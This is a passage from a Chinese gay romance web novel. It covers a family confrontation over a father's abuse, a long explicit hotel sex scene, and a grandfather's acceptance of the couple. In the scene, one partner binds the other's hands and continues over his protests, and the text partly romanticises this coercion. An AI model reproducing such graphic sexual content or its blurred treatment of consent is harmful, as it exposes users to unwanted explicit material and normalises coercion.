“他是你们养的什么猫狗吗,随手就能打?抬脚就能踹?” 沈父猛地抬头看他,眼睛通红:“爸,你又在这里说什么呢?我从小,难道你不是这么对我的吗?” “既然您知道这是错的,为什么还要那么对我?!现在我这么对你的孙子,你就心疼了?那你心疼过我吗!” 沈爷爷一噎,半晌都没说出话。 屋里又是一片死寂。 直到很久后,沈爷爷撑着拐杖站起身,脊背佝偻,宛如背着座大山般沉重。 沈父低着头,听到了父亲苍老又疲惫的声音: “都是我的错……我那时年龄也小,不知道该怎么当父亲,只能像我小的时候,我的父亲教育我那样,去教育你,结果你现在又这样教育你的孩子……” 沈爷爷长叹一声:“其实我知道,你是心里有气,你可以把这个气撒在我身上,但你不能把这个气,撒在你的孩子身上。” 有的人自己淋过雨,就会想给别人撑伞,也知道该怎样给别人撑伞。 但有一类人,自己淋过雨,就见不得别人有伞。 很多人会忽视一个事,那就是——父母对孩子也是有嫉妒心理存在的。 有些父母小时候不被爸妈疼爱,长大了他自己当了父母,就会对自己的孩子百倍好,不希望孩子体会他小时候不被疼爱的那种感受。 而有的父母,会因为小时候没被爸妈疼爱,长大后自己有了孩子,就见不得孩子过得太好。 总觉得不公平,尤其会因为亲子血脉关系,更加觉得,孩子应该像他一样痛苦,应该跟他感同身受。 沈爷爷愧疚地垂下头:“你已经扭曲了,这是不对的,这么多年了,你该放过你自己,也放过你的孩子。” “这些年我很想插手你对小鹤的教育,但我又怕这样,会让你更恨他,我只能放任你这样对待他……如今也该到头了。” 沈爷爷抖着手,摸着沈父的胳膊:“我对不起你,很抱歉今天才跟你说一句对不起。但你也欠你儿子一个对不起。” 沈父嘴唇微颤着,双手死死握成拳头:“太晚了,你现在才说对不起,太晚了……” — 从沈家出来后,沈鹤起先是慢慢地走。 八月傍晚的街道上,有丝丝凉风吹过,霞光错落地映照在人间,景色很美,但他无心看。 沈鹤走了一会儿后,忽然加快脚步。 越来越快 最后沈鹤开始疾跑起来。 风声从耳畔呼啸而过,刮得他的脸都发疼 胸口仿若压着一座山,让沈鹤喘不过气来。 不知道跑了多久,直到快要力竭时,沈鹤终于在一个几乎无人的小巷口停了下来。 他第一时间就是拿出手机,给陈清棠打了视频。 想见陈清棠。 好想好想 此刻思念达到了极致。 视频接通,看见陈清棠的那一瞬,沈鹤的情绪,忽然就从山崩地裂,变得如温水般平和。 平和到柔软。 浑身的刺都在这一瞬被抚平。 神奇得不可思议。 陈清棠见他怔怔地看着自己,不禁失笑:“傻了?” 沈鹤慢倍速地摇头:“不知道为什么,看见你,我觉得心里好平静。” 陈清棠似乎在外面,边走路边说:“是吗,那你知道为什么吗。” 沈鹤思考了几秒:“不知道。” 陈清棠眼底笑意细碎:“这样啊。” 两人间沉默了会儿 陈清棠此刻刚下车,他跟楚希一起来了城北,想给沈鹤一个惊喜。 他正要问沈鹤现在的具体位置,忽然就听见沈鹤说:“你在哪儿,我去找你。” 陈清棠敏锐地察觉到了点什么:“怎么了?” 沈鹤垂下眼,让人辩不明他眼底的情绪:“跟家里吵了一架,跑出来了,我现在心情很坏。” 沈鹤不知道该怎么忘记,沈父带给他的糟糕的感觉,不知道该怎么从那种窒息里抽出身来。 沈鹤只是本能地想要陈清棠的爱,想要更多的爱,能让自己喘口气。 沈鹤抬起眼:“我想跟你做。我们做得久一些,热烈一些好吗。” 第67章第67章就这样还想玩儿强制爱?…… 两人约在附近的宾馆见面 陈清棠提前洗了澡,给自己做了扩张,还细心地用磨砂膏护了一次肤。 从头发丝到脚趾,都整理到完美无缺。 做了手膜,甚至还做了脚膜。 浑身上下都又香又嫩。 门被敲响时,陈清棠偏头用侧脸,厮磨了下自己的肩头,润滑细嫩的皮肤让他很满意,这才过去开门。 门被拉开的一瞬,陈清棠就被紧裹在了一个宽厚温热的胸膛里。 沈鹤一只手掐住他的腰,将他摁在自己怀里。 另一只手在带上门后,顺着陈清棠的脊背,一寸一寸地爬到了他的后颈。 滚烫的大掌,掌心贴着细腻的肌肤,拇指抵着陈清棠的耳后,让他半分也动弹不得。 沈鹤就这样强势,又急不可耐地吻了下来。 那两瓣比陈清棠微厚的唇,先是含着他的下唇吸吮了几秒 随后一个湿软的东西,轻巧地撬开了他的贝齿,侵略性极强地钻进他的嘴里。 陈清棠还没来得及喘一口气,舌头就带着宛如游龙般翻滚、打圈。 嘴里的内壁,上颚,牙龈,甚至是舌根,都被全面地照顾到了。 酥麻的感觉,从口腔蔓延开,直达大脑皮层。 鼻息间尽是沈鹤的气息,陈清棠眼神都迷离了,腿软得快要站不住。 好不容易等到沈鹤换气的时候,陈清棠才见缝插针地说了句话:“沈鹤,慢一点,太、太急了……” 沈鹤单手掐着他的下巴,对上那张覆满了潮红的脸,他微眯起了眼,宛如恶狼紧盯着自己的口粮: “急?但你是喜欢的对吗?你贴得我好紧,手都抓着我胸口的衣服不肯松开。” 沈鹤手指往上一抬,陈清棠的头便随着他的动作上扬,然后沈鹤放开了他: “而且你看,我不控制着你,你也一直在自己仰着头,来主动承受。” 陈清棠稍微恢复几分清明,眼波流转间宛如春水荡漾,撩拨得人心头酥麻: “嗯……那你就不能温柔点嘛,你温柔一点,我会更喜欢。” 他嗓音软慢,犹如一摆游慢的鱼尾,在沈鹤的心尖上扫了一下。 沈鹤顿时眸色一暗,又追着他吻了下去。 这次的亲吻,比刚才更激烈。 沈鹤双唇步步紧逼着进攻。 陈清棠宛如有种要被吃掉的错觉,那种恐惧伴随着酥麻感,让他无意识不停地后退。 于是沈鹤又更加猛烈地追逐过来,强势地向他索取。 力道大得陈清棠的腰都是往后弯的。 为了缓解腰部的不适,陈清棠只能后退,再后退。 于是屋内的画面就变成,一个高大的男人,覆着另一个男人,唇舌纠缠着,人也纠缠着,两人迈着凌乱无措的碎步,不断地往床边挪动过去。 整个人被压在床上时,陈清棠本以为这下能松口气了。 结果沈鹤根本不愿意放过他,抢劫般吸吮他不断产生的口液,掠夺着他鼻息间呼出的气息。 心脏跳得好猛烈,胸腔已经有了窒息的感觉。 有一瞬,陈清棠以为自己要死了,要被沈鹤杀掉了。 他开始挣扎,双手推着沈鹤,很大力的推。 但没什么效果。 陈清棠只能趁着两人换气时,急切地说:“沈鹤,沈鹤你有点凶,别这样……” 沈鹤咬他的唇瓣,咬完了又伸着舌头去舔,舔得陈清棠浑身一颤。 沈鹤嗓音哑得厉害:“抱歉,我控制不住……我太想你了,抱歉……” “我爱你,好爱你,你疼疼我好不好……” 陈清棠望着天花板,眼神都被情。欲打得涣散。 他深吸一口气后,抬手搂住沈鹤的脖颈,放弃了挣扎。 这一举动,让沈鹤受到了鼓励,他不停地亲吻陈清棠,逐渐地,不再满足于那两瓣唇…… 一开始陈清棠还由着他,以前不是没这样过。 但慢慢地,陈清棠开始觉得不对劲儿。 沈鹤的唇吻上那里时,陈清棠只是略微有些吃惊,想着沈鹤竟然能为他克服洁癖,做到这个地步。 还稍微有点欢喜。 陈清棠闭上眼,准备好好享受下。 但沈鹤显然并不知道什么是blowjob,他只会一味地亲吻,舔舐。 即便如此,心理上的快感,还是让陈清棠愉悦非常,脸上的潮红又上了一个层次 到这里都还算正常。 直到忽然地,陈清棠的双腿被整个抬起,分开搁在那宽阔的肩膀上,睡袍凌乱地散在身下。 某个腌臜的地方,也被沈鹤痴迷地亲吻了下。 陈清棠脑子一懵,小腿开始细细发着抖,喉间也不自觉发出羞耻的声音。 陈清棠咬着牙,克制着这快要吞噬他的奇怪感觉:“沈鹤……唔,沈鹤你放开我,太脏了,放开我……” 这话没能阻止沈鹤,反而让沈鹤发泄般,更重地舔了几下。 陈清棠难耐地单手捂住嘴,修长的脖颈往后仰着,拉成了一个性感蛊惑的弧度。 沈鹤终于松开了他,将他的两条腿都搁在自己的左肩,就这么居高临下地欣赏着陈清棠被情潮扑打的模样: “其实你是喜欢的,对吗。” 陈清棠抽出几分清明,同他对视,不知道该说什么。 占据主导方,强势向他索取的沈鹤,确实让他很爽。 但人本能会对比自己强大的东西,感到畏惧和害怕。 沈鹤不光是身躯,力量感也远大于陈清棠,这样一个人把他强行控制住,宛如强盗般暴烈地向他索求,偏生他的反抗没有一点效…… 这让陈清棠潜藏在基因里的本能恐惧被激活了。 沈鹤就像一股在海上突然打来的浪,陈清棠不知道自己这艘小船,会被这股浪卷到何方。 在享受着这种非一般的刺激感的同时,恐惧是理所应当的。 但陈清棠不能否认,自己是喜欢的,连同那份恐惧一起。 沈鹤看他不说话,又继续做自己想做的事。 他低头吻上了陈清棠的腿,从绷紧微颤的小腿,到踝骨凸起的脚踝,再到青筋布满的脚背 陈清棠呼吸急促,几乎是失控地命令到:“不许再往下。” 好奇怪,人类对脚的羞涩,甚至大于私密处。 恋人亲吻私密处,还可以理解是对方的有意取悦。 可亲吻脚,陈清棠却并不会觉得是在被取悦,只有难言的羞耻,他希望沈鹤能就此打住。 沈鹤的脸也是通红的,偏头淡淡地看了他一眼,这种冷漠的性感也十分的勾人。 然后在陈清棠逐渐睁大的眼睛里,沈鹤强制握住陈清棠的脚,一点点吻上了粉白的脚趾。 他不允许陈清棠身上,还有哪里没被他造访过。 陈清棠整个人都在抖,被这种羞耻感逼到出了泪花,最后只能别开脸不去看。 沈鹤轻咬了下陈清棠的小脚趾,立刻换来陈清棠克制不住的一抖。 然后沈鹤又慢慢地沿着他的脚背,往上亲吻。 直到凑近陈清棠的唇,想跟他接吻时,陈清棠很强势地扭开头,拒绝了他:“脏,别亲我。” 沈鹤有几分受伤,转而去亲吻陈清棠的耳朵。 与此同时,小清棠被沈鹤握住了。 陈清棠半眯起眼享受,忍不住嗔怪道:“你今天好反常,为什么。” 沈鹤的头埋在他颈窝,粗重的呼吸一浪一浪的打在他皮肤上:“爱我……想要你爱我,更爱我。” 陈清棠无奈:“我很爱你。” 话音刚落,随即脖颈就一疼。 沈鹤咬了他一口:“骗子。骗子。” “告诉我,为什么每次做。爱,只有我一个人难耐,失控,只有我发了疯的渴望,不能有半分清明……” “为什么你每次,都能游刃有余地欣赏着我,你不喜欢吗,我没有让你非常舒服吗。” 陈清棠一时间卡壳了。 他能怎么说呢。 情事上辈子他已经经历得够多了,性。爱对他来说并不新鲜,所以他的乐趣就是看沈鹤失控,看沈鹤渴望他。 但沈鹤刚刚开荤,食髓知味,而且前二十年都对那方面特别克制,欲。望的反扑,让沈鹤对情事远比陈清棠疯狂。 陈清棠很明白,但他无法说出口,他总不能跟沈鹤说,他已经做过很多次了,所以没有新鲜感了吧。 那沈鹤不更得发疯? 陈清棠的沉默,似乎更加激怒了沈鹤,变着法儿地折磨他。 陈清棠快要招架不住,大脑都快要蒸发掉,只能张着嘴喘气。 沈鹤继续说,语气里带着委屈的怨气,更多的,是想要将陈清棠拆穿入腹的欲望: “我们之间从一开始,你就永远游刃有余,像个局外人一样。” “只有我,一直在渴望,一步步地失控、深陷,完全像疯了一样,对你不可自拔……” “你为什么总能那么冷静,你有像我想你一样,那么想念过我吗。” 陈清棠喉咙干得要起火了,抖着手抚上沈鹤的脸:“我、我也想你的。” 沈鹤几乎是恨恨地看着他,恨不得把他吃掉:“那你有像我一样,因为思念被折磨到发疯吗,每天晚上,我都抱着你的衣服,着迷地闻着你的内裤,才能入睡……” 他曾经是个端方到,跟陈清棠牵手都会脸红心跳的人。 沈鹤:“我已经变态到了,我自己都理解不了的地步。我怎么会……” 沈鹤咬着牙,对自己忍无可忍:“怎么会对别人内裤那么上瘾……疯子。” 陈清棠也骇人地睁大了眼,有些一言难尽:“你……” 沈鹤亲吻他的耳朵,舌尖钻进耳廓里搅动。 这简直是酷刑,陈清棠受不了地轻哼出声。 沈鹤趁着他失神这片刻,飞快地用旁边的衣服,将陈清棠的两只手,捆在了床头。 然后他捧着陈清棠往下,把自己的脸埋在了陈清棠的那里。 沈鹤隔着那层薄薄的布料深嗅着,一边虎视眈眈地盯着陈清棠,潮红着一张脸问他: “你不是喜欢看我这样吗,现在我已经变成了一个,喜欢闻男人这里的变态,那你喜欢这样的我吗。” 陈清棠在发颤,柔软温圆又带点精瘦肌肉的肚皮,克制不住地一抖一抖的。 他的嗓音哑得不成样子:“沈鹤,沈鹤你松开我,别犯浑……” “我愿意的,我愿意跟你做的,你放开我好不好。” 沈鹤摇摇头,几乎有几分痛苦:“你不懂,你根本不懂我要什么。” 陈清棠闭了闭眼,想给他一脚:“我懂,你放开我。” 沈鹤低头亲吻他:“求求你,再给我多一些爱,再爱我,更爱我一点好不好,不要让我一个人沉沦……” “你知道吗,我快发疯了。我甚至想,要不把你关起来算了。如果你每天只能看着我一个人,时间长了,你自然就会越来越爱我。” “我不喜欢跟你说我以前的事,那让我觉得,好难堪,让我觉得我很丑陋,让我觉得我配不上你……” 他不停地说着,像是要把心里藏着的所有东西,全都倒出来: “我也不喜欢跟讲你我的家庭是怎样的,那样的一个家,到底有什么值得我说的,值得你听的,每次你问,我都好难受。” 陈清棠的心微沉,温柔地安抚他:“但是不破不立,我不是一直陪着你吗。” 到现在,陈清棠才发现,沈鹤心里埋藏的不安,还有痛苦。 或许沈鹤承受的痛苦,远比他想象中的沉重,要剖开伤口给他看,对沈鹤来说是一件残忍的事。 陈清棠低估了沈鹤所承受的。 沈鹤完全听不进他的话,自顾自地继续说: “你要我到底怎么去克服那些自卑,自我厌弃,怎么克服那种恶心感,我不想让你看到那样的我,但我不把那样的我呈现给你看,你就不爱我,你好狠的心……” 说着,沈鹤惩罚式的,对着小清棠咬了一口。 陈清棠天灵感都酥麻了,脚背紧绷闷哼一声:“嗬……沈鹤,有什么话你放开我,我们好好说,别这样。” “我爱你,我一直都爱你的。不管你怎样,我都不会讨厌你的。” 沈鹤嗓音略微哽咽,带着偏执:“求求你爱我,多爱我一点好不好,不然我只能用我自己的方式了,我受不了了。” 陈清棠望着天花板,仅剩的理智在想着——完蛋了,玩儿脱了。 这是要进入强制爱的环节了吗。 到底发生了什么。 之前他钓沈鹤也钓得很狠,沈鹤虽然也隐约透露出一点偏执的味道,能看得出他承受着压力 但沈鹤的自控力一直都很强大,陈清棠从不担心他被钓到失控。 明明昨天沈鹤还好好的,今天突然就这样发疯。 肯定是发生了什么事,沈鹤受到了严重刺激,导致他不想再克制那些压力,还有偏执,于是失控了。 陈清棠闭了闭眼,今天怕是要**死。 算了,自己做的孽,自己受着。 强制性。爱应该……应该也挺爽的吧。 结果事情根本没按照陈清棠预想的去发展。 陈清棠原以为他会被爆炒一顿。 但沈鹤只是抓着小清棠折磨,而且还隔着布料。 陈清棠的小裤子都被穿得好好的。 陈清棠实在摸不准沈鹤要做什么,只微眯起眼享受。 直到他快要抵达到站时,嘶哑着声指挥沈鹤:“松松手,把那个帮我脱了。” 沈鹤却只是红着脸平静地看着他,但那双眼里暗潮涌动,已经到了骇人的地步: “就这么吧。上回电话里,你让我就这么出的。我也想看看你的样子。” 陈清棠脑子一懵,后知后觉的羞耻感让他眼睛发红,愤怒地瞪着沈鹤:“你混蛋!” 这跟失禁拉在裤子上有什么区别。 他可以主动给沈鹤看,但沈鹤不能把他绑起来,让他感觉自己像个观赏物一样。 沈鹤亲他的脸颊:“宝贝你好漂亮,迷死我了,我爱你,我好爱你……” 几声告白后,沈鹤彻底解脱了陈清棠。 陈清棠眼睛翻白一瞬,瞳孔不停地颤啊颤,眼神失焦,久久都不能平静。 等他缓过神来时,才发现沈鹤也那个了,弄得他肚皮上都是。 陈清棠淡淡地看着他:“你满意了?” 沈鹤低着头没说话。 陈清棠心里有点气,但眼下不是发脾气的时候,首要的是解决问题。 如果问题得到解决,那么这次就是一次情趣。 如果问题得不到解决……就要发展成强制爱了。 陈清棠:“还不松开我。混蛋。” 他骂人也那么清脆好听,嗓音里含着未退的情潮。 沈鹤心尖都发着软,忙给他解开手。 看见陈清棠的手腕都有点被勒红了,沈鹤心疼地放在唇边亲吻:“对不起,是我混蛋。” 陈清棠强行把手收了回来:“这就心疼了?你这样还想玩儿强制爱?算了吧。” 沈鹤没说话,只是低头亲吻他。 陈清棠把人撇开,拿起手机背着沈鹤操作了几下,然后站起身:“我去洗漱,你好好反省。” 卫生间的门被关上了,沈鹤坐在床头,单手撑着额头。 余光却忽然瞥见了陈清棠的手机界面。 就是普通的解了锁的主页状态。 但刚好这时,一条微信消息弹了出来,被沈鹤看到了。 楚希:你掉马了吗,沈鹤知道你顶着[海棠花]这个马甲,在抖因上钓他了吗 第68章第68章怎么有人对他这样挖空心…… 沈鹤目光一顿,死死盯着那行字,就这么僵硬地保持着这个姿势,许久都没动。 一些猜想和可能,如车窗外的残影般,在脑子里飞驰而过。 半晌后,沈鹤忽然飞快地拿出自己的手机,点开抖因,从评论回复里,去翻到了那个ID名叫【海棠花】的网友。 沈鹤点进了海棠花的主页。 海棠花没有发表任何作品,连个签都没有。 但性别是男,IP地址也对得上。 除此外,再没别的线索了。 沈鹤的心脏跳得很快,如夏季骤然的太阳雨一般,叮咚一片。 目光不自觉看向了桌上放着的,陈清棠的手机。 沈鹤的性格从来非常谨慎,如果没有看到最直接的证据,就无法百分百地确认什么。 手机没锁屏。 只要把它拿起,点开抖因,就能彻底清楚,两个海棠花是不是同一个人。 浴室里哗啦的水声还在继续,能通过磨砂玻璃看到,陈清棠弯腰清洗身。体的影子。 沈鹤呼吸都停滞了,他缓慢地朝桌上的手机伸出了手 越来越近 摸到了 拿起了 沈鹤眼尾紧绷,跟冰冷的屏幕对峙着。 接下来只要用手指在屏幕上的某处轻轻一点…… 屋里安静了很长一段时间 陈清棠裹着浴袍从浴室出来时,沈鹤正规规矩矩地坐在床边。 双腿古板地岔开坐着,双手放在膝盖上,头发略微凌乱,额间竟然有细密的汗。 陈清棠用毛巾擦着脖颈上的水珠,不咸不淡地问他:“反省好了吗。” 沈鹤点头:“嗯。我错了。” 陈清棠挨着他坐下:“错哪儿了?” 沈鹤:“错在不该不顾你的意愿,把你绑起来那个。” 陈清棠眯起眼,胳膊搭上他的肩膀,另一只手食指挑起他的下巴:“不,你错在不够彻底。” 沈鹤眼底露出两分不理解。 陈清棠勾着他的下巴过来,跟他接了两秒的吻。 然后在沈鹤追着想要索取更多时,一把捂住了他的嘴。 就这么将沈鹤被挑起的欲望,又轻飘飘地摁了回去。 见沈鹤看向他的目光变得躁动,陈清棠愉悦地勾起笑,这才继续说: “如果我是你,心里有这么多的情绪,我就不只是把人绑起来,我会把他,从上到下,从里到外,全都玩儿个遍……” 沈鹤瞳孔颤动两秒,眸子瞬间被暗色侵蚀,已经褪色的耳朵猛然通红。 陈清棠目光飘忽地扫向他的唇,带着挑逗意味儿。 沈鹤立刻就像是嗅到腥气的狼,要凑上来吻他。 陈清棠却摇摇头,一副‘你不乖’的神色往后退开,轻声细语道: “然后我会把他*……狠狠地…到只稍微碰一下,他都会下意识反应说爱我,只会抱着我,求着我,反过来向我索求怜惜,让我疼疼他……懂了吗?” 沈鹤眼里的侵略性已经压不住,像是席卷开来的暴风眼 在陈清棠问他懂了吗的一瞬,他就把陈清棠扑倒在了。 陈清棠的腰猛然被迫后仰,险些没承受住这个突然的冲击,差点给他闪了,不禁蹙眉责怪道:“发什么疯。” 沈鹤掐住他的下巴,将他的头抬起,眼里近乎有几分凶狠了: “你知道你在教我什么了不得的东西吗。” 陈清棠眉眼漾开一点笑,还不知死活地伸手搂住沈鹤脖颈:“不敢?” 沈鹤眸色一瞬暗沉,理智差点就被这句‘不敢’崩断了。 但他深吸一口气,强行压着,压得眼尾都发红,看起来竟有几分可怜: “这不是敢不敢的问题,如果我那样,跟一头野兽有什么区别。” 陈清棠轻轻呀了句,笑起来:“所以你其实是想的,但又不愿意伤害我,所以最大程度也只是把我那样?” “甚至你都不敢真的进来,怕自己彻底失控,对我造成伤害……对吗?” 沈鹤咬着牙,盯着他慢倍速地点点头,一股又羞耻,又头皮发麻的爽感,从胸口温热的蔓延开。 不得不承认,不管什么时候,陈清棠都那样懂他。 懂他的隐忍,懂他的欲望。 懂他的道德感,也懂他龌龊的心思。 就好像把每一个碎片的沈鹤,一点点捡了起来,捧在手心里珍惜着。 这让他怎么能不爱这个人。 陈清棠偏头亲吻他的手心:“其实今天我挺高兴的。” 沈鹤:“为什么。” 即便是被那样对待了吗。 陈清棠同他对视:“你学会了对我发泄你不好的情绪,学会了向我开口要东西,向我索求,学会了对我生气。” “这让我觉得,我离你特别的近。” 陈清棠手指抚上沈鹤的耳朵,替他拨开耳畔的碎发:“虽然我不知道你发生了什么,忽然就失控了……” “但在我眼里,你就像只受了委屈后,向我撒娇求爱,却因为我没给足你爱,而炸毛的大猫。” 沈鹤眼底因欲。望而起的戾气,一点点融化在了这样温柔的嗓音里:“你不怕我失去理智伤害你吗。” 陈清棠摇摇头,认知清晰:“你不会,首先你是个很好的人,你的道德感会让你哪怕发疯,也保留着一丝理智。” “其次你爱我。你知道吗沈鹤,爱就是心甘情愿为对方收起利爪。你已经失控了,但你还是忍住了底线。” 说明沈鹤彻底学会了爱。 沈鹤的眸子闪动了两下,脑子里不自觉喃喃那句‘爱就是心甘情愿为对方收起利爪’,然后目光不可遏制地变得温柔。 他轻轻抱住了陈清棠:“抱歉。” 陈清棠继续说:“如果你今天强行把我*了,那你就是在强。奸,虽然我不会反感,但这是因为我也爱你,所以我可以把它当成一场情趣。” “但这却改变不了你就是在强。奸的事实,改变不了性质。” 沈鹤:“对不起。” 陈清棠抚摸他的头:“但你没有。哪怕在极端的情绪下,你也没有那样。” 虽然他挺希望沈鹤那样来一次的。 “我允许你那样,前提是在我也愿意的情况下。” 沈鹤嗓音发闷:“下次不会了。我保证。” 陈清棠推开他,看着他的眼睛:“不,如果下次心里还不安,堵着情绪,我希望你能像今天这样,对我发泄出来,这样我才知道,我的爱人到底是什么状态。” “安抚你的情绪,化解你的不安,是我作为伴侣应该尽的责任,所以你不必因此而觉得自己不好,不必一个人憋在心里,也不要觉得我会讨厌这样的你,会麻烦我,你应该理所当然地对我索取,然后心安理得地接受我对你的付出。” 这番话说完后,屋里沉默了半晌。 沈鹤只是直勾勾地盯着陈清棠看,一言不发。 陈清棠:“怎么了?” 沈鹤喉结蠕动:“想跟你做。爱。现在特别想。” 世界上怎么会有这么好的人。 这么好的人怎么就让他沈鹤摊上了。 上辈子一定是积了大德。 一时间,沈鹤汹涌的情绪找不到出口,全都化成了对陈清棠的欲望。 陈清棠掀起眼皮:“今天不行。” 沈鹤已经急不可耐了,呼吸也变得沉重:“为什么。” 陈清棠垂目:“下去。这是对你的惩罚,谁准你刚才那样对我的。” 虽然上次电话里,他也那么调过沈鹤,这就是一种羞耻play 但轮到自己,陈清棠才发现他好像有点接受不了。 沈鹤动作顿住,强行忍回欲望让他的脸色有些难看,但最后还是挣扎着坐了起来。 沈鹤:“那明天可以吗。我们很久没见面了。” 陈清棠并不回答,只是平静地看着他。 沈鹤张嘴还要说什么,电话铃声忽然响了。 陈清棠下巴一抬,示意他接。 沈鹤接起。 电话里传来一个苍老的嗓音:“小鹤,你跑去哪儿了,身上带钱没有。” 沈鹤看了一眼陈清棠,都跟家里摊牌了,他也不再遮掩:“在男朋友这里。” 沈爷爷沉默了一瞬,这才说:“你现在有空吗,有空我们见一面。” 手机开的免提,陈清棠也能听到,他用嘴型比划‘说有空’。 沈鹤很乖地照做:“有空。” 沈爷爷:“好,那我把地址发你,等会儿见。” 电话挂断,沈鹤看着陈清棠:“你不想我留下来吗。” 陈清棠不回答,只是问:“是不是你家里出事了?” 沈鹤嗯了声便不再说话。 陈清棠从身后搂住他的腰,攀上他的脖颈,在沈鹤的耳后吻了下:“那你就去解决吧,等你做好足够的心理准备,再跟我说是怎么回事。” 现在陈清棠也不再逼沈鹤了。 前面就是他逼得太紧了,沈鹤心里承受着太大的压力,才会有这次的失控。 之前暧昧期陈清棠钓那么狠,沈鹤都能忍住自己的欲。望,陈清棠以为沈鹤的自控力很高。 事实确实如此。 但陈清棠忽略了,性。欲跟痛苦和压力不是一回事。 能忍住性。欲,只能说明沈鹤是个真君子,但君子也扛不住心里压力和痛苦。 欲速则不达,或许他应该放慢速度,等一等沈鹤。 沈鹤捉住他的手,放在唇边亲吻:“谢谢。” 离开宾馆后,沈鹤打了个车去跟沈爷爷会面。 车上,沈鹤忍不住点开抖因,不停地翻看海棠花的主页面。 在宾馆时,最终沈鹤还是没有点开陈清棠的手机,去亲眼确认。 那是不对的。 首先这侵犯了别人的隐私,就算陈清棠是他的爱人,也改变不了这是偷窥举动的事实。 其次……如果陈清棠有什么事瞒着他,也一定是有自己的苦衷。 是的 等到了合适的机会,陈清棠会自己跟他说的。 但是…… 咔嚓,沈鹤掰响了手指骨节。 他还是不能说服自己。 陈清棠为什么要顶着网友的马甲,跟他在网上一来一回的聊呢。 又想起楚希发来的消息,说陈清棠在用马甲钓他? 沈鹤正准备翻一翻过去跟海棠花的聊天记录,试图找到一些证据时,车子平稳地停在了马路边。 沈鹤只能先收起手机下车。 进了约定好的咖啡厅,爷孙俩面对面地坐着。 沈爷爷端着杯子,很久才说出一句话:“你男朋友也是本市的人?” 沈鹤:“嗯。” 沈爷爷:“跟你一个学校的?” 沈鹤:“嗯。” 更多的沈鹤就不愿意说了。 目前还不清楚沈爷爷的态度,如果他像沈父一样,知道了陈清棠的存在,越过他私下里去找陈清棠的麻烦怎么办。 沈鹤不愿意让自己的家庭,给陈清棠带去半点负担。 沈爷爷看出了他的顾虑,面色慈祥:“你放心,爷爷是支持的。你父母那边,我也会给他们做思想工作。” 沈爷爷虽然是读过书的人,但骨子里仍然有些封建,原本他也并不支持同性恋,直到前几年国家颁布了同性婚姻法,允许同性恋结婚。 国家肯定是不会错的,既然国家都允许了,那他们老百姓又有什么理由不同意呢? 更何况沈爷爷年轻时当过兵,骨子里对国家有根深蒂固的忠诚感,他认为,跟着国家走一准没错,所以也就接受同性恋了。 沈爷爷:“但你不能跟家里断绝关系,沈家就你一个儿子,你父亲这几年身体不行了,等你大学毕业,你就要接手家里的生意。” 沈鹤垂目盯着桌面:“我知道。我会的。但前提是,他们必须同意我跟我爱人结婚。” 沈爷爷手指摩挲着咖啡杯:“你母亲挺开明,没多大问题,主要还是你父亲那边……” 一阵沉默,两人都没再说话 期间服务员过来给他们续了次杯。 很久后,沈爷爷忽然说:“你这学期变化这么大,是受你男朋友的影响吧。” 沈鹤没否认:“嗯。他是个很好的人,包容,温柔,耐心……也不嫌我太木,太无趣。” 越说,沈鹤的眉眼越柔和,眸色越坚定:“如果错过他,这辈子我宁愿一个人过。我离不开他。” 沈爷爷:“忽然就下定决心去学计算机,也是他鼓励你的?” 沈鹤顿了下:“他鼓励过我,但这件事很久前我就在准备了。” 只是,在认识陈清棠之前,沈鹤还有些犹豫,不能百分百确定要转专业,因为他不知道自己转专业有没有意义,只知道这是他的欲望。 而这个欲望,跟沈父的意愿相违背,跟沈家的家教也相违背。 所以沈鹤只是把这个欲望压着。 沈爷爷轻易就看透了他:“这个人让你尝到了,释放欲望的满足感,他让你明白,欲望是一件很正常的事,并不罪恶?” 沈鹤微微握紧拳头:“嗯。” 沈家的家教就是,人是高级动物,欲望是罪恶的,要克制欲望,做正确的事。 一直以来,这个教条都宛如大山般死死压着沈鹤。 但陈清棠却说,欲望的产生,是因为人内心有这个需求,有需求就要满足。 满足后人的幸福感会提高,人就是这么逐渐变得有底气、变得自信的。 过去一学期,陈清棠不断地钓沈鹤,引诱沈鹤,让沈鹤对他产生欲望,再一点点满足沈鹤…… 这个过程,虽然有些煎熬,但沈鹤更多的是享受。 在这之前,沈鹤被压抑得太久了,他已经不会再对什么产生渴望。 而陈清棠让他尝到了,暴烈地渴望着什么的感受,飞蛾扑火般地爱着什么的感受。 又让他尝到了,欲望被一点点满足的美妙感受。 沈鹤从陈清棠身上,尝到了百转千回的滋味。 酸涩的,甜蜜的,兴奋的,紧张的,暴烈的,刺激到大脑都一片空白的 挣扎的,羞耻的,极致欢愉的,甚至略微痛苦的…… 沈鹤才发现,原来人会有这么多情绪,而不是像个麻木的机器。 才觉得自己是在活着,而不是一个被沈父操纵的傀儡木偶。 这才逐渐感受到,生命的热烈、厚度,人生的色彩。 陈清棠作为一个变量,最终成为了沈鹤的推动力。 让沈鹤决定去冲破那个一直以来,都束缚着他的茧,决定开始为自己而活。 沈爷爷看着面前这个生机勃勃的沈鹤,叹息一声:“挺好的,你现在这样……也挺好的。” 总比以前死气沉沉,少言寡语,连笑都不会笑像个机器好。 沈爷爷:“我只要知道,你不是被什么人蛊惑了,脑子发热就好。” 沈鹤:“不会,我是个正常的成年人,我有自己的判断。” 沈爷爷点点头:“我把市中心的小别墅让人收拾出来了,就你高中时走读经常住的那一套。不想回家的话,就去那儿住吧。” “你父亲那边交给我,我会想办法让他同意你和……在一起的。” 就当是这么多年,他放任沈父那样恶劣对待沈鹤的惩罚。 是时候该到头了。 谈话结束,沈鹤走出咖啡厅时,望着黑漆漆的天,心头无比的轻松、恣意。 活了二十年,今天是他最痛快的一天。 家里的事情解决了,那么接下来,就剩下最后一件事。 — 楚希趴在陈清棠的床上,怀里抱着一个枕头,一边跟周辰聊天,一边同陈清棠说: “诶,万一明天的聚会不起效果怎么办?聚完了,周辰还是不跟我表白怎么办?” 陈清棠正在护肤,往自己的手上和脚上都涂抹东西:“凉拌。” 他感觉,沈鹤好像对他的脚情有独钟 不知道是有什么癖好,还是喜欢看他被弄得羞耻无措的样子 但既然沈鹤喜欢摆弄他的脚,陈清棠只能把脚也当脸一样保养。 谁不想自己在爱人面前,连头发丝、乃至眼睫毛都是精致的呢。 楚希:“哎呀我愁死了。” 陈清棠:“好了别愁,信我,你看我什么时候失手过。” 楚希心里安定几分了:“这倒是哈,诶算了不想了,明天就知道结果了。” “说说你呗,你掉马了没?” 陈清棠拍着脚背的手一顿:“应该掉了吧。” 本来今晚沈鹤猝不及防地失控,让陈清棠也混乱了一下,但楚希的消息来得很及时。 